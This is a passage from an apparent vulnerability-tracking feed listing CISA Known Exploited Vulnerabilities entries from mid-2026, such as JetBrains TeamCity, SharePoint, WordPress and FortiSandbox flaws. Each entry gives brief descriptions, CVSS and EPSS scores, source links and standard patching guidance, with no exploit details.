CISA added Aug 7, 2026; federal due date Aug 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### JetBrains TeamCity Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2026-63077
JetBrains TeamCity Deserialization of Untrusted Data Vulnerability (Aug 5, 2026).
JetBrains TeamCity contains a deserialization of untrusted data vulnerability that could allow unauthenticated remote code execution via the agent polling protocol.
CVSS 9.8 (version 3.1; evidence as of Jul 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-63077).
EPSS 93.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63077&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-63077: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63077&date=2026-10-25
CVE Program CNA JetBrains: https://cveawg.mitre.org/api/cve/CVE-2026-63077
CISA added this entry on 2026-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 5, 2026; federal due date Aug 8, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### N-able N-central Authentication Bypass Using an Alternate Path or Channel Vulnerability
https://kevwire.com/record/CVE-2026-18556
N-able N-central Authentication Bypass Using an Alternate Path or Channel Vulnerability (Aug 4, 2026).
N-able N-central contains an authentication bypass using an alternate path or channel that allows for authentication bypass.
CVSS 8.2 (version 4.0; evidence as of Aug 1, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-18556).
EPSS 7.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18556&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-18556: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18556&date=2026-10-25
CVE Program CNA N-able: https://cveawg.mitre.org/api/cve/CVE-2026-18556
CISA added this entry on 2026-08-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 4, 2026; federal due date Aug 7, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Tomcat Missing Encryption of Sensitive Data Vulnerability
https://kevwire.com/record/CVE-2026-34486
Apache Tomcat Missing Encryption of Sensitive Data Vulnerability (Aug 4, 2026).
Apache Tomcat contains a missing encryption of sensitive data vulnerability that allows the bypass of the EncryptInterceptor. This vulnerability can be chained with CVE‑2025‑24813.
CVSS 7.5 (version 3.1; evidence as of Sep 21, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-34486).
EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34486&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-34486: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34486&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-34486
CISA added this entry on 2026-08-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 4, 2026; federal due date Aug 7, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### IBM Langflow Code Injection Vulnerability
https://kevwire.com/record/CVE-2026-9198
IBM Langflow Code Injection Vulnerability (Aug 4, 2026).
Langflow contains a code injection vulnerability that allows unauthenticated attackers to achieve full remote code execution on default Langflow deployments.
CVSS 9.8 (version 3.1; evidence as of Aug 17, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-9198).
EPSS 28.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9198&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-9198: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9198&date=2026-10-25
CVE Program CNA ibm: https://cveawg.mitre.org/api/cve/CVE-2026-9198
CISA added this entry on 2026-08-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 4, 2026; federal due date Aug 7, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### N-able N-central Authentication Bypass Using an Alternate Path or Channel Vulnerability
https://kevwire.com/record/CVE-2026-18577
N-able N-central Authentication Bypass Using an Alternate Path or Channel Vulnerability (Aug 3, 2026).
N-able N-central contains an authentication bypass using an alternate path or channel allows for authentication bypass and account takeover in N-central. This vulnerability is the result of an incomplete patch for CVE-2026-18556.
CVSS 8.2 (version 4.0; evidence as of Aug 2, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-18577).
EPSS 14.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18577&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-18577: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18577&date=2026-10-25
CVE Program CNA N-able: https://cveawg.mitre.org/api/cve/CVE-2026-18577
CISA added this entry on 2026-08-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 3, 2026; federal due date Aug 6, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Secure Firewall Management Center Use of Hard-coded Password Vulnerability
https://kevwire.com/record/CVE-2026-20316
Cisco Secure Firewall Management Center Use of Hard-coded Password Vulnerability (Jul 29, 2026).
Cisco Secure Firewall Management Center (FMC) formerly known as Firepower Management Center contains a use of hard-coded password vulnerability that could allow an unauthenticated, remote attacker to log in to an affected device using a low-privileged account to access sensitive data within the impacted systems.
CVSS 5.3 (version 3.1; evidence as of Sep 16, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-20316).
EPSS 35.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20316&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20316: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20316&date=2026-10-25
CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-20316
CISA added this entry on 2026-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 29, 2026; federal due date Aug 1, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS Exposure of Sensitive Information to an Unauthorized Actor Vulnerability
https://kevwire.com/record/CVE-2025-68686
Fortinet FortiOS Exposure of Sensitive Information to an Unauthorized Actor Vulnerability (Jul 27, 2026).
Fortinet FortiOS contains an exposure of sensitive information to an unauthorized actor vulnerability. This may allow a remote unauthenticated attacker to bypass the patch developed for the symbolic link persistency mechanism observed in some post-exploit cases, via crafted HTTP requests. An attacker would need first to have compromised the product via another vulnerability, at filesystem level.
CVSS 5.3 (version 3.1; evidence as of Feb 10, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-68686).
EPSS 29.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-68686&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-68686: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-68686&date=2026-10-25
CVE Program CNA fortinet: https://cveawg.mitre.org/api/cve/CVE-2025-68686
CISA added this entry on 2026-07-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 27, 2026; federal due date Aug 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arista VeloCloud Orchestrator On-Prem OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-16812
Arista VeloCloud Orchestrator On-Prem OS Command Injection Vulnerability (Jul 27, 2026).
Arista VeloCloud Orchestrator On-Prem contains an OS command injection vulnerability that may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator.
CVSS 10.0 (version 4.0; evidence as of Jul 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-16812).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16812&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-16812: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16812&date=2026-10-25
CVE Program CNA Arista: https://cveawg.mitre.org/api/cve/CVE-2026-16812
CISA added this entry on 2026-07-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 27, 2026; federal due date Jul 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Check Point SmartConsole Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2026-16232
Check Point SmartConsole Improper Authentication Vulnerability (Jul 22, 2026).
Check Point SmartConsole contains an improper authentication vulnerability which could allow an unauthenticated remote attacker to obtain an application login token and use it to authenticate with full administrative privileges.
CVSS 9.3 (version 4.0; evidence as of Aug 2, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-16232).
EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16232&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-16232: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16232&date=2026-10-25
CVE Program CNA checkpoint: https://cveawg.mitre.org/api/cve/CVE-2026-16232
CISA added this entry on 2026-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 22, 2026; federal due date Jul 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2026-50522
Microsoft SharePoint Deserialization of Untrusted Data Vulnerability (Jul 22, 2026).
Microsoft SharePoint contains a deserialization of untrusted data vulnerability which could allow an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-50522).
EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-50522&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-50522: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-50522&date=2026-10-25
CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-50522
CISA added this entry on 2026-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 22, 2026; federal due date Jul 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WordPress Core SQL Injection Vulnerability
https://kevwire.com/record/CVE-2026-60137
WordPress Core SQL Injection Vulnerability (Jul 21, 2026).
WordPress Core contains a SQL injection vulnerability when a plugin or theme passes untrusted input to the parameter. This vulnerability can be chained with CVE-2026-63030 to allow an unauthenticated attacker to gain remote code execution on default WordPress installations.
CVSS 5.9 (version 3.1; evidence as of Jul 18, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-60137).
EPSS 5.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-60137&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-60137: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-60137&date=2026-10-25
CVE Program CNA WPScan: https://cveawg.mitre.org/api/cve/CVE-2026-60137
CISA added this entry on 2026-07-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 21, 2026; federal due date Aug 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WordPress Core Interpretation Conflict Vulnerability
https://kevwire.com/record/CVE-2026-63030
WordPress Core Interpretation Conflict Vulnerability (Jul 21, 2026).
WordPress Core contains an interpretation conflict vulnerability that could allow an attacker to perform SQL Injection and achieve Remote Code Execution. This vulnerability can be chained with CVE-2026-60137.
CVSS 9.8 (version 3.1; evidence as of Jul 18, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-63030).
EPSS 10.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63030&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-63030: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63030&date=2026-10-25
CVE Program CNA WPScan: https://cveawg.mitre.org/api/cve/CVE-2026-63030
CISA added this entry on 2026-07-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 21, 2026; federal due date Jul 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Langflow Inclusion of Functionality from Untrusted Control Sphere Vulnerability
https://kevwire.com/record/CVE-2026-0770
Langflow Inclusion of Functionality from Untrusted Control Sphere Vulnerability (Jul 21, 2026).
Langflow contains an inclusion of functionality from untrusted control sphere vulnerability that allows remote attackers to execute arbitrary code on affected installations.
CVSS 9.8 (version 3.0; evidence as of Jan 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-0770).
EPSS 62.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-0770&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-0770: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-0770&date=2026-10-25
CVE Program CNA zdi: https://cveawg.mitre.org/api/cve/CVE-2026-0770
CISA added this entry on 2026-07-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 21, 2026; federal due date Jul 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### DD-WRT Stack-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2021-27137
DD-WRT Stack-Based Buffer Overflow Vulnerability (Jul 21, 2026).
DD-WRT contains a stack-based buffer overflow vulnerability that could allow an unauthenticated attacker to overflow an internal buffer used by UPnP and trigger a code execution vulnerability.
CVSS 8.1 (version 3.1; evidence as of Jul 16, 2026; https://cveawg.mitre.org/api/cve/CVE-2021-27137).
EPSS 4.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27137&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27137: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27137&date=2026-10-25
CVE Program CNA mitre: https://cveawg.mitre.org/api/cve/CVE-2021-27137
CISA added this entry on 2026-07-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 21, 2026; federal due date Jul 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2026-58644
Microsoft SharePoint Deserialization of Untrusted Data Vulnerability (Jul 16, 2026).
Microsoft SharePoint contains a deserialization of untrusted data vulnerability that allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-58644).
EPSS 15.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-58644&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-58644: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-58644&date=2026-10-25
CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-58644
CISA added this entry on 2026-07-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 16, 2026; federal due date Jul 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiSandbox OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-25089
Fortinet FortiSandbox OS Command Injection Vulnerability (Jul 16, 2026).
Fortinet FortiSandbox, FortiSandbox Cloud, and FortiSandbox PaaS contain an OS command injection vulnerability that allows an unauthenticated attacker to execute unauthorized commands via specifically crafted HTTP requests.
CVSS 9.1 (version 3.1; evidence as of Jun 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-25089).
EPSS 76.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-25089&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-25089: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-25089&date=2026-10-25
CVE Program CNA fortinet: https://cveawg.mitre.org/api/cve/CVE-2026-25089
CISA added this entry on 2026-07-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 16, 2026; federal due date Jul 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiSandbox OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-39808
Fortinet FortiSandbox OS Command Injection Vulnerability (Jul 16, 2026).
Fortinet FortiSandbox contains an OS command injection vulnerability that could allow an unauthenticated attacker to execute unauthorized code or commands via crafted HTTP requests.
CVSS 9.1 (version 3.1; evidence as of Apr 14, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-39808).
EPSS 93.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-39808&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-39808: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-39808&date=2026-10-25
CVE Program CNA fortinet: https://cveawg.mitre.org/api/cve/CVE-2026-39808
CISA added this entry on 2026-07-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 16, 2026; federal due date Jul 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle E-Business Suite Improper Privilege Management Vulnerability
https://kevwire.com/record/CVE-2026-46817
Oracle E-Business Suite Improper Privilege Management Vulnerability (Jul 15, 2026).
Oracle E-Business Suite contains an improper privilege management vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise Oracle Payments. Successful attacks of this vulnerability can result in takeover of Oracle Payments.
CVSS 9.8 (version 3.1; evidence as of May 28, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-46817).
EPSS 12.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-46817&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-46817: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
